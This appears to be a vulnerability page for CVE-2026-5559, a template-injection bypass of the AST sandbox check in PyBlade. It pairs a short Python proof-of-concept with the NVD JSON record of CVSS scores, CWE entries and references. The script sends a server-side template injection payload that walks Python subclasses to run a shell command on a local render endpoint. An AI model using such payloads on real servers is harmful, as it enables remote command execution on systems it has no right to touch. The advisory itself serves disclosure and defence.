CVE-2026-5559

# Proof of Concept for CVE-2026-5559 # This script demonstrates a potential payload to bypass the _is_safe_ast check. import requests def exploit_poc(target_url): # Construct a malicious payload that attempts to bypass AST validation # The payload tries to access dangerous built-ins or execute commands # via template injection. # Note: Actual payload syntax depends on PyBlade's specific implementation. payload = "{{().__class__.__bases__[0].__subclasses__()[40]('ls', shell=True).communicate()}}" headers = { "User-Agent": "CVE-2026-5559-Scanner", "Content-Type": "application/x-www-form-urlencoded" } data = { "content": payload # Assuming the input parameter is 'content' } try: print(f"[+] Sending request to {target_url}...") response = requests.post(target_url, data=data, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print("[+] Response Body:") print(response.text[:200]) # Print first 200 chars except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual vulnerable endpoint target = "http://localhost:8000/render" exploit_poc(target)

{"cve": {"id": "CVE-2026-5559", "sourceIdentifier": "[email protected]", "published": "2026-04-05T11:16:55.900", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in AntaresMugisho PyBlade 0.1.8-alpha/0.1.9-alpha. The affected element is the function _is_safe_ast of the file sandbox.py of the component AST Validation. Such manipulation leads to improper neutralization of special elements used in a template engine. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-791"}, {"lang": "en", "value": "CWE-1336"}]}], "references": [{"url": "https://github.com/AntaresMugisho/PyBlade/", "source": "[email protected]"}, {"url": "https://github.com/AntaresMugisho/PyBlade/issues/1", "source": "[email protected]"}, {"url": "https://github.com/AntaresMugisho/PyBlade/issues/1#issue-4086730906", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/782904", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/355329", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/355329/cti", "source": "[email protected]"}]}}